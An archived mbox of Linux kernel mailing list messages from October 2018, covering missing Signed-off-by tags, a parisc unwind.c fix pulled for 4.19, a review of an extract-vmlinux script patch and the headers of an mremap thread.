Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2901652>

--Sig_/gZsn.ra0WuoNa=dnqw6kzvd
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi all,

Commits

  17714e83ebff ("parisc: Release spinlocks using ordered store")
  c389eafd8ac2 ("parisc: Reorder TLB flush timing calculation")

are missing a Signed-off-by from their committer.

--=20
Cheers,
Stephen Rothwell

--Sig_/gZsn.ra0WuoNa=dnqw6kzvd
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEENIC96giZ81tWdLgKAVBC80lX0GwFAlvG02sACgkQAVBC80lX
0GxJsAf/ZoFlEOWdSCUHSFJiKFPUXsuPXPhjvrl6cNXGU7Rr3PjwFGLC80EarbWm
wtp3So5riUBiycvIRI752unoe9DAgzFciZ4LJ+DX1H/JFs2kOoguyc0ehX2WZ+1q
19NdTYc9QXXQcaTXeQl88RkgCdKYenqd9F+ftijJkaUsvgioSecJabWT8XGaKeDi
fNPRKgpztzsMJ9me0AEkjT6u3t6sKgYPisX+9SveDsgvKndc0n/lis3m1PvEpLbb
Z+nPTpnaOV3uF5Z8I0gz0h74JVLofHZ+UrBoZ1trebPwv6X7ruZvjNhWjh4eKmDQ
XL3KT+IQpGI2JJBjTTPaACPvEpStUg==
=8Z2q
-----END PGP SIGNATURE-----

--Sig_/gZsn.ra0WuoNa=dnqw6kzvd--


From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: Signed-off-by missing for commits in the parisc-hd
 tree
Date: Wed, 17 Oct 2018 08:19:18 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <76939293-4ff5-f6e8-aec7-d014e0a0419b@gmx.de>
References: <20181017171507.6cfe08d2@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="fYShguV3TNoFJq0C0cJPj7wkEqW4bqgBs"
X-Trace: blaine.gmane.org 1539757041 6118 195.159.176.226 (17 Oct 2018 06:17:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 06:17:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Stephen Rothwell <sfr@canb.auug.org.au>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 17 08:17:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCf8s-0001TJ-NV
	for glk-linux-kernel-4@m.gmane.org; Wed, 17 Oct 2018 08:17:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727252AbeJQON1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 17 Oct 2018 10:13:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:47117 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726429AbeJQON1 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 17 Oct 2018 10:13:27 -0400
Original-Received: from [192.168.20.60] ([92.116.170.8]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdZAI-1flc971CAE-00iiBU; Wed, 17
 Oct 2018 08:19:19 +0200
Original-Received: from [192.168.20.60] ([92.116.170.8]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdZAI-1flc971CAE-00iiBU; Wed, 17
 Oct 2018 08:19:19 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20181017171507.6cfe08d2@canb.auug.org.au>
X-Provags-ID: V03:K1:OPPF32Wzu4tlbaC7pAuwbM+E3bDMeEnzw0PaKsy4QVWcGbv/h8j
 MnRERgTS95n5pVtMN/r3WSV0GyrYT3+Sh4nOIjtqVVmKZg3LDazX7pI+sjqpGbxZuIiapOf
 R1SxsZxXBE3b3YosGEZvj4j2nHWCs//RM4r2K20xNN1aUusBlSjO9jHC4HF2MLLw6K+YP+V
 BDcqgB3WSpzv5GK6/x1Mg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ubw8eWJCPQk=:KlqElX/0UVzJ6FViqwyLyl
 era90pugKpSZA+fQ5QjhhXD3jaY7Bc5k1MjigjoLvxeE21DZHvIyqrQCRqerBcX8mTXEF1tt8
 N4HQYGoMCdDEWRw7ndCu+eE54bXgyDEYsaeChAGspfgaQf8f69UPHytH481C2IuyX0qZeMpj3
 YluT1WbLZOvB7DL8c1AZiUDh7wmp8FXnigJsxvMAC+UrgP1onaPAKuroLydxTs4/4XI9rSU47
 5n+wqXFw9Bl7gYy/OKyRVDHoIMCeKKCvsK5zsqAzss+rt4Bokjun355BUV3TYJykAvg/MrOHR
 1Jeywnus9nillWEu2D6dSY4JahPivWxQ7yK8IiQYEnyR6jENAOKt6Ti86xs3udS8sfaRFta4z
 +lTpwzy2sFFsfWTjW0j6YUQR/yNz5Fxy1bZo8nl+cCoYtBhdqoGKWHt/IeLPMg0DGCNVXNQj8
 z13n4eXOJ8MI1cXrwdgXhCqG1AWWpF83TNmTKTLU0B20tjeQbunb4yM92pJ8wEaU+hIvUltW3
 1pw0I5Vc9scSLLUV5wvba6j6WKQJAmTYah8hLN0HhpwFAgeLVqAvU772PTA9sG9DtkcicwMCT
 MVdY/Ufv5YLP460hvh87ZGdCc80pPUb2O8XxNLCKC3qqXHTjcP+a4jg+nhtgZUiPQEpC3p7FW
 LJA/aoZMcK8mAuYOAIMntryLIVycdr6J/cvUhGuic2c0sehY415C6NBYoHpb23dMSfBy0uweg
 yICf/Q20UHWz91Yk5ZJqzTfxM3Az3fXBRWhEd9CEYIjZbVnkxD3R7RUOo4F0lZu/UfRbgA7b 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2901654 gmane.linux.ports.parisc:29204 gmane.linux.kernel.next:47415
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2901654>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--fYShguV3TNoFJq0C0cJPj7wkEqW4bqgBs
Content-Type: multipart/mixed; boundary="stofG0xModqiYNHPqf8oiqOBD8jFsz0ap";
 protected-headers="v1"
From: Helge Deller <deller@gmx.de>
To: Stephen Rothwell <sfr@canb.auug.org.au>,
 Parisc List <linux-parisc@vger.kernel.org>
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Message-ID: <76939293-4ff5-f6e8-aec7-d014e0a0419b@gmx.de>
Subject: Re: linux-next: Signed-off-by missing for commits in the parisc-hd
 tree
References: <20181017171507.6cfe08d2@canb.auug.org.au>
In-Reply-To: <20181017171507.6cfe08d2@canb.auug.org.au>

--stofG0xModqiYNHPqf8oiqOBD8jFsz0ap
Content-Type: text/plain; charset=windows-1252
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

On 17.10.2018 08:15, Stephen Rothwell wrote:
> Commits
>   17714e83ebff ("parisc: Release spinlocks using ordered store")
>   c389eafd8ac2 ("parisc: Reorder TLB flush timing calculation")
> are missing a Signed-off-by from their committer.

Fixed.
Thanks,
Helge


--stofG0xModqiYNHPqf8oiqOBD8jFsz0ap--

--fYShguV3TNoFJq0C0cJPj7wkEqW4bqgBs
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iHUEARYIAB0WIQTPnDOmy1/TQodsisYgKkl43U+sXQUCW8bUZgAKCRAgKkl43U+s
XdiqAP9I2ud6d+Wj5QVVIyeQR6quTfEXgiFKfWw5pUdJPL0gLgD/daZx+fINignC
QYCj16mZD2jcGh7bUmEjbm1D0KKb2Aw=
=pFl4
-----END PGP SIGNATURE-----

--fYShguV3TNoFJq0C0cJPj7wkEqW4bqgBs--


From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fix for kernel v4.19
Date: Wed, 17 Oct 2018 08:45:24 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20181017064524.GA32311@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539758604 16976 195.159.176.226 (17 Oct 2018 06:43:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 06:43:24 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 17 08:43:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCfY7-0004KB-B4
	for glk-linux-kernel-4@m.gmane.org; Wed, 17 Oct 2018 08:43:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727357AbeJQOjh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 17 Oct 2018 10:39:37 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:44809 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727080AbeJQOjh (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 17 Oct 2018 10:39:37 -0400
Original-Received: from ls3530.fritz.box ([92.116.170.8]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSutp-1g31631C9F-00Rs4A; Wed, 17
 Oct 2018 08:45:26 +0200
Original-Received: from ls3530.fritz.box ([92.116.170.8]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MSutp-1g31631C9F-00Rs4A; Wed, 17
 Oct 2018 08:45:26 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:agnyE2tEAjwf21H7L4Wg42dar5NU3POWv75puAwdgfV55MxeFq4
 Nuqgc//VnjISPqmBLGNjDwCTx+y1tM3a6T4j3F35A2lw3RIp52GuvFjz/wIBzPliaXJn+dJ
 lb68Tqfwklw4cJrbtNCLScCdtnhUOUSAFFTu9MFAAz+qr7VkI20HvucCKAMnYxuUUoc2PFG
 HpnNqogfr92Nn381Vcraw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ta1n/7XYAHg=:rSF9lyqLgR2zkHC6aHNgfq
 jCKKnV5xvyT7XdW5fjMOFbGh13RhYZEifo7eqlBU1w22sGGmBm/zEnvkFq2HDIL+LM0KYaIIL
 /Pvxbjod4pMzJ0x8VL/jpvB6fV/QrWHd/GO6hWkk0cGIjfBbOhcsFMLjSFxlDVKZQ8jcjeozZ
 LSlL/+n1XIE/0rC5rBGIAF9klCIYPtOWpJSSxsUZX4NSb/bYZ31JWD0on7gWmW3b7nc7peloy
 XWKgT3M4iJJesihhEKMW4XrxNuIDyquNEeCDdN7rEPdWcZ5cKL+ZpI4uBegHUCoTsd+G0vXY0
 j925HT398Hsc/OYQOgkV3LYaVmr9eaUKoVorv6ze5Pg7skTfEUjqTLqZw7Kb7G0NZ7gmTCHfW
 vlrMIlQAONkDwAXh21U2jDUeJdtMtpCrUMGUlRuEK2Sf+fnr+Y1gd7+FGNPIsgIEAT049CK0u
 WDtocfKjsrvZevmPpUOupOzRZfXuu6ZnXRTgV+loZ+wdZ6lHPejedN3eRQO53X1bNPiCVySRI
 vlaqdQ3nrwOFJ8KOX38ff4txbprPyJaPiK4y+H0pTgMinVXXDHrXqcsMzMVPTknA5oSQtZ26E
 F57TspIK062oisfSY9BeTOzJL0M+OzQXyXH2BlV5iymmKGwlULfauAGAXNOu83g4UP0UBstNp
 avujsX3nctMRTJwFfs5EWjLKMUCftsbUV9o7JaU9I9FXBJrJEiwkUYQI3Bcw+i2drWhu5fS6s
 Rj1+ORYxaCwLUWwL4/Q3ssL3HIznpXc0LQwaUSItrqhKf3Kd1dlfJM2txKH/tsO0IzwTcrXj 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2901672 gmane.linux.ports.parisc:29205
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2901672>

Hi Greg,

would you please include the trivial patch below for 4.19?
My older cross-compiler didn't complained, so it went unnoticed for me until
now and the faulty code was added during the 4.19 merge window.

It can be pulled from my git tree as well:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3

Fix an unitialized variable usage in the parisc unwind code.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix uninitialized variable usage in unwind.c

 arch/parisc/kernel/unwind.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)


----------------------------------------------------------------

From: Helge Deller <deller@gmx.de>
Date: Tue, 16 Oct 2018 08:21:48 +0200
Subject: parisc: Fix uninitialized variable usage in unwind.c

As noticed by Dave Anglin, the last commit introduced a small bug where
the potentially uninitialized r struct is used instead of the regs
pointer as input for unwind_frame_init(). Fix it.

Signed-off-by: Helge Deller <deller@gmx.de>
Reported-by: John David Anglin <dave.anglin@bell.net>

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index f329b466e68f..2d14f17838d2 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -426,7 +426,7 @@ void unwind_frame_init_task(struct unwind_frame_info *info,
 			r.gr[30] = get_parisc_stackpointer();
 			regs = &r;
 		}
-		unwind_frame_init(info, task, &r);
+		unwind_frame_init(info, task, regs);
 	} else {
 		unwind_frame_init_from_blocked_task(info, task);
 	}


From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] extract-vmlinux: Check for uncompressed image as fallback
Date: Wed, 17 Oct 2018 15:45:42 +0900
Lines: 69
Approved: news@gmane.org
Message-ID: <CAK7LNAQgmjZ53x240HH7ktOS0oqPiO5drkN2E74zUkdwuBmybg@mail.gmail.com>
References: <20181016060324.GA10928@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539758670 21553 195.159.176.226 (17 Oct 2018 06:44:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 06:44:30 +0000 (UTC)
Cc: Adam Borowski <kilobyte@angband.pl>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-parisc@vger.kernel.org,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        dave.anglin@bell.net, corentincj@iksaif.net
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 17 08:44:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCfZA-0004KB-5Q
	for glk-linux-kernel-4@m.gmane.org; Wed, 17 Oct 2018 08:44:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727395AbeJQOkn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 17 Oct 2018 10:40:43 -0400
Original-Received: from conssluserg-01.nifty.com ([210.131.2.80]:24908 "EHLO
        conssluserg-01.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727080AbeJQOkm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 17 Oct 2018 10:40:42 -0400
Original-Received: from mail-vk1-f179.google.com (mail-vk1-f179.google.com [209.85.221.179]) (authenticated)
        by conssluserg-01.nifty.com with ESMTP id w9H6kJwM023303;
        Wed, 17 Oct 2018 15:46:20 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conssluserg-01.nifty.com w9H6kJwM023303
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1539758780;
        bh=L1ip7ws1mlpqaf3W4jOk4dT8WrLZ31ncmusDyWOuTYw=;
        h=References:In-Reply-To:From:Date:Subject:To:Cc:From;
        b=SIweLC/HSwnb/ux3Vt9Llk2CaML7U0t38Xt0HFAy3QDMjfIw9pPEO1ziKRsEfTxfS
         IhuZCYNuPVCZIL931xA9zKfJeXL+oid1MTfoTLq3ifnevRAvPPVfHwtszwlJbHXO8M
         RytRuXccQbQ6njKWnnSsTOA3uSUT6Oxu/WG2kCgLgYwTBPCaIo6Z0UqLD/lNf3v/V4
         2yH4zcPxKT2wD8cE+JAdc4tnVkGcAEM+THkfwPj61zwKkxXCrJoqfd/jP9Okfta7HY
         nn+593OWr7rglRO76HNprC/AIFmEQ511VWj/3Pw4Hd0Cb4fnOaaEG2+YtozrM4P5ta
         84P0rNA2NhKFA==
X-Nifty-SrcIP: [209.85.221.179]
Original-Received: by mail-vk1-f179.google.com with SMTP id l65so6084593vki.8;
        Tue, 16 Oct 2018 23:46:20 -0700 (PDT)
X-Gm-Message-State: ABuFfoh/aaN5Tb6iDHh5pQ/5we8YArKXFqHIT7TU7SfyKneG1K499Qx1
        b3/91fFmjPnoppsKJ1fweAxnSUVXxop+P4l+Onw=
X-Google-Smtp-Source: ACcGV60+d3DS0QUtTce10o4CbhSqHjKQm1pPy/1O/bIpoWa+BYLlGFnjz9HbrWyYVEMNXRorLdVUHTPeXnZlMlNyOPo=
X-Received: by 2002:a1f:5503:: with SMTP id j3-v6mr9879581vkb.34.1539758778912;
 Tue, 16 Oct 2018 23:46:18 -0700 (PDT)
In-Reply-To: <20181016060324.GA10928@ls3530.fritz.box>
X-Gmail-Original-Message-ID: <CAK7LNAQgmjZ53x240HH7ktOS0oqPiO5drkN2E74zUkdwuBmybg@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2901673 gmane.linux.ports.parisc:29206
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2901673>

Hi Helge,



On Tue, Oct 16, 2018 at 3:06 PM Helge Deller <deller@gmx.de> wrote:
>
> As on x86-64 and other architectures, the boot kernel on parisc (vmlinuz
> and bzImage) contains a full compressed copy of the final kernel
> executable (vmlinux.bin.gz), which one should be able to extract with
> the extract-vmlinux script.
>
> But on parisc extracting the kernel with extract-vmlinux fails.
> Currently the script first checks if the given file is an ELF file
> (which is true on parisc) and if so returns it.  Thus on parisc we
> unexpectedly get back the vmlinuz boot file instead of the uncompressed
> vmlinux image.
>
> This patch fixes this issue by reverting the logic. It now first tries
> to find a compression signature in the given file and if that fails it
> checks the file itself as fallback.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/scripts/extract-vmlinux b/scripts/extract-vmlinux
> index e6239f39abad..85e1f32fb4a0 100755
> --- a/scripts/extract-vmlinux
> +++ b/scripts/extract-vmlinux
> @@ -48,9 +48,6 @@ fi
>  tmp=$(mktemp /tmp/vmlinux-XXX)
>  trap "rm -f $tmp" 0
>
> -# Initial attempt for uncompressed images or objects:
> -check_vmlinux $img
> -

This patch looks good in general,
but, I just wondered why this line is needed.

If I understand this correctly,
when vmlinux itself is passed to this script,
it is returned as-is.
But, we already have what we want in this case.

We can simply drop this code if there is no good reason.

CC'ed the submitter of this script, Corentin Chary
in case he knows something.


>  # That didn't work, so retry after decompression.
>  try_decompress '\037\213\010' xy    gunzip
>  try_decompress '\3757zXZ\000' abcde unxz
> @@ -60,5 +57,8 @@ try_decompress '\211\114\132' xy    'lzop -d'
>  try_decompress '\002!L\030'   xxx   'lz4 -d'
>  try_decompress '(\265/\375'   xxx   unzstd
>
> +# Finally check for uncompressed images or objects:
> +check_vmlinux $img
> +
>  # Bail out:
>  echo "$me: Cannot find vmlinux." >&2




--
Best Regards
Masahiro Yamada


From - Thu Nov 08 21:42:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 17 Oct 2018 09:38:16 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <80a7d851-51ca-2d81-1273-393d4f701bc4@suse.cz>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181015094209.GA31999@infradead.org>
 <20181015223303.GA164293@joelaf.mtv.corp.google.com>
 <35b9c85a-b366-9ca3-5647-c2568c811961@suse.cz>
 <20181016194313.GA247930@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539762923 22135 195.159.176.226 (17 Oct 2018 07:55:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2018 07:55:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 kvmarm@lists.cs.columbia.edu, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, elfring@users.sourceforge.net,
 Christoph Hellwig <hch@infradead.org>, Ingo
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Wed Oct 17 09:55:13 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gCgfg-0005dA-V0
	for glpr-linux-riscv@m.gmane.org; Wed, 17 Oct 2018 09:55:13 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=M/7M93cqGpe2GzhvGWRPIWtgqB9bH0aNC1buIqpkdaU=; b=iU8IgMR3h/CNwX
	Eg0y/DVoRMm05qDtpXpj5cOahbST6Bx3acr7GJexLwoGfxiZ0BAte8p39mfsJtMCoFYYH4cuiT9m1
	WhvagiUraRkD0M4r152NOxQEuwCyybrgDNN3Bc19lYtmw2JoIlOVvAz1PvbP4Rf9Crd8AZPuE3+HT
	WFEvmokx5bNfnsXcKZyf+dFUCokuGiEJKPSoYSmBrxTpvE8NTat3Ieg27Jvr3L6PyrKXTAcYmdwVK
	zDIa/d7CioTMtCii3t9WcxFn4OXX5zYtVv8bPNyJEGm/UiC71mtVHeD+9tIMgtG8RjE9X5lcQEoSS
	Bh0so2I3MS/qr2TJk/bA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gCghZ-0008Ig-1I; Wed, 17 Oct 2018 07:57:09 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCgSK-0008S1-S1; Wed, 17 Oct 2018 07:41:25 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=Content-Transfer-Encoding:Content-Type:
 In-Reply-To:MIME-Version:Date:Message-ID:From:References:Cc:To:Subject:Sender
 :Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
 Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:
 List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=dP2hYsi47y7itSQr27wjgFfh0Y8hXr45ZP8z9XgAJvY=; b=m5EEejps8Qt0gQFRaXC0fFrU64
 foGBjLb6e+quCyJduogh5bshjTPy6R3c+sZVq190KJ9NnrpH21AwGaayMDd03pAey1DJLzRMzLbZN
 5hpRBgF88vMuLle857BQxSZplRAiz3gEZyfCtz4ji1XaM06H0/qJjBb4GFXE27aexWYk7zW2Jgc+z
 jovIxkVLvUy44VUKgjdy02sJKboVFrplLRc4qKPuHj384BRVUn+T2EYKERoFkiF9vimE2uefpmOcn
